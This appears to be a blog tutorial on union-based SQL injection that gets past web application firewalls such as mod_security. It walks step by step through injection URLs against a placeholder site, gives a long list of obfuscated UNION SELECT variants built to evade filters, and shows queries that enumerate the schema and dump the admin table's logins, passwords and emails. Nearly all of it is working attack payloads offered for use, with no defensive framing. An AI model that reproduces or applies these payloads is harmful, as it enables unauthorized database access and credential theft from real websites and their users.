Union Based SQL injection (WAF Bypassing)
What is WAF?
A web application firewall (WAF) is an appliance, server plugin, or filter that applies a set of rules to an HTTP conversation. Generally, these rules cover common attacks such as cross-site scripting (XSS) and SQL injection. By customizing the rules to your
application, many attacks can be identified and blocked. The effort to perform this customization can be significant and needs to be maintained as the application is modified.
Today I am going to discuss Union Based SQL injection and WAF bypassing Techniques. Which when you are testing this SQLi Vulnerability you will face FORBIDDEN page (403 Error). Typically, you can find the vulnerable page, find the column count, and then when you switch to use the UNION SELECT statement you get the errors starting up. This is typically due to the server-side rules that are
filtering out your request. This is often referred to as the Web Application Firewall or WAF, but don’t worry as there are ways we can beat them. You can get pretty creative with the methods used but for now, I will show how to use comments to bypass the filters, sometimes referred to as inline comments or C comments. I will re-use some of my previous examples and assume the following details have
gotten us to where we are now:
Here Is Our Target.
http://www.targetsite.com/news.php?id=11
Add Single Quote (') at the End Of The URL.
http://www.targetsite.com/news.php?id=11'
And Get MYSQL Error.
Let’s Balance Our Query for Further Injecting.
Some Comments from our Previous Tutorials.
http://www.targetsite.com/news.php?id=11--
http://www.targetsite.com/news.php?id=11--+
http://www.targetsite.com/news.php?id=11-- -
http://www.targetsite.com/news.php?id=11%23
http://www.targetsite.com/news.php?id=11;
Here Is A Small Explanation on Balance and Comment in our Injection.
After Balancing Our Query. Next is Count Total Number of Columns
http://www.targetsite.com/news.php?id=11 order by 1--+
No Error!
http://www.targetsite.com/news.php?id=11 order by 3--+
No Error!
http://www.targetsite.com/news.php?id=11 order by 5--+
Again No Error!
http://www.targetsite.com/news.php?id=11 order by 6--+
Here We Get Error!
Unknown column '6' in 'order clause'
Now Try To Find Our Vulnerable Columns.
http://www.targetsite.com/news.php?id=-11 Union Select 1,2,3,4,5--+
If Our Target site Is Protected with WAF. WAF Will Block Our Query and Give Us Mod_Security Error. Now there is no more 403 Forbidden message stopping you and you can see the vulnerable columns displayed on the page. I will re-use my examples and assume columns 2, 4, & 5 are vulnerable. Now that we have the vulnerable columns we can
extract some data, let’s first find some basic info though. We will use CONCAT to grab the current database name, the current user, and the version info, like this:
http://www.targetsite.com/index.php?id=-
725+/*!UNION*/+/*!SELECT*/+1,CONCAT(database(),user(),version()),3,4,5--
(403 Forbidden – WTF?)
So Here are some WAF Bypassing Methods.
/*!%55NiOn*/ /*!%53eLEct*/%55nion(%53elect 1,2,3)-- -+union+distinct+select++union+distinctROW+select+/**//*!12345UNION SELECT*//**//**//*!50000UNION SELECT*//**//**/UNION/**//*!50000SELECT*//**//*!50000UniON SeLeCt*/union /*!50000%53elect*/+#uNiOn+#sEleCt+#1q%0AuNiOn all#qa%0A#%0AsEleCt/*!%55NiOn*/ /*!%53eLEct*//*!u%6eion*/ /*!se%6cect*/+un/**/ion+se/**/lectuni%0bon+se%0blect%2f**%2funion%2f**%2fselectunion%23foo*%2F*bar%0D%0Aselect%23foo%0D%0AREVERSE(noinu)+REVERSE(tceles)/*--*/union/*--*/select/*--*/union (/*!/**/ SeleCT */ 1,2,3)/*!union*/+/*!select*/union+/*!select*//**/union/**/select/**//**/uNIon/**/sEleCt/**//**//*!union*//**//*!select*//**//*!uNIOn*/ /*!SelECt*/+union+distinct+select++union+distinctROW+select+
Just Change The Union Select With Following Bypass URLs.
Let’s Continue Our Tutorial.
OK, so now we have commented out our UNION SELECT statement but something is still setting off the filters... it is most likely the CONCAT statement. In some cases, it is possible to bypass filters by simply changing the norm up and re-testing. This can be accomplished by comments or by simply changing CaPiTAliZaTIon, like so:
http://www.targetsite.com/index.php?id=-
725+/*!UNION*/+/*!SELECT*/+1,ConCAt(database(),user(),version()),3,4,5--
(No Errors!!)
Results:
· Version = 5.0.92-community-log
· User = dumbdba@localhost
· Database() = exampleDB
It worked; we now know the current database name, user name, and the version as they are neatly displayed on the page for us. These two techniques can be combined to evade filters throughout your Injections as you will see. Now let us try to get the list of all the databases available, instead of just the current one, like so:
http://www.targetsite.com/index.php?id=-
725+/*!UNION*/+/*!SELECT*/+1,GROUP_CONCAT(SCHEMA_NAME),3,4,5+FROM+IN
FORMATION_SCHEMA.SCHEMATA--
(403 Forbidden)
Luckily we know what to do now so start by altering GROUP_CONCAT, same as we did for CONCAT:
http://www.targetsite.com/index.php?id=-
725+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(SCHEMA_NAME),3,4,5+FROM+INF
ORMATION_SCHEM.SCHEMATA--
(No Errors!!)
Results:
· Information_Schema
· exampleDB
This should now show us the available databases! Now let us check for the tables tied to the current database.
http://www.targetsite.com/index.php?id=-725+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(TABLE_NAME),3,4,5+FROM+INFORMATION_SCHEM.TABLES+WHERE+TABLE_SCHEMA=DATABASE()--
(403 Forbidden again)
In some cases, you may have experienced a 403 in the previous step as well, it is due to the fact that oftentimes INFORMATION_SCHEMA or TABLES will be filtered. Again, this changes from site to site based on how it was configured so it could even be
other items but these are the most common. In order to get around the filters, we simply need to use our comments method again, so it looks like this:
http://www.targetsite.com/index.php?id=-
725+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(TABLE_NAME),3,4,5+FROM+/*!INFORMATION_SCHEM*/.TABLES-- (No Errors!!)
TABLES FOUND: Admin, News, Ads, Users
Now we have all of the tables for the current database displayed on the page without any 403 holdings us back. We can get columns using the same method as we used in the Basic SQLi 101 examples but we will keep our comments and capitalization techniques alive so it gets past the WAF (reminder to also HEX your table names).
http://www.targetsite.com/index.php?id=-
725+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(COLUMN_NAME),3,4,5+FROM+/*!INFORMATION_SCHEM*/.COLUMNS+WHERE+TABLE_NAME=0x41646d696e--
(No Errors!!)
The page will now display a list of the columns from the Admin table in the
vulnerable column 2 spot on-page. In this example, we will assume we found the
following column names:
· id
· login
· password
· email
OK, now we know the tables and associated columns. It is time to get some data extracted, and it will go the same as it did in the Basic SQLi tutorial, or like this:
http://www.targetsite.com/index.php?id=-
725+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(id,0x3a,login,0x3a,password,0x3a,email,0x3a),3,4,5+FROM+Admin—
You will get the Admin details.
No comments:
Post a Comment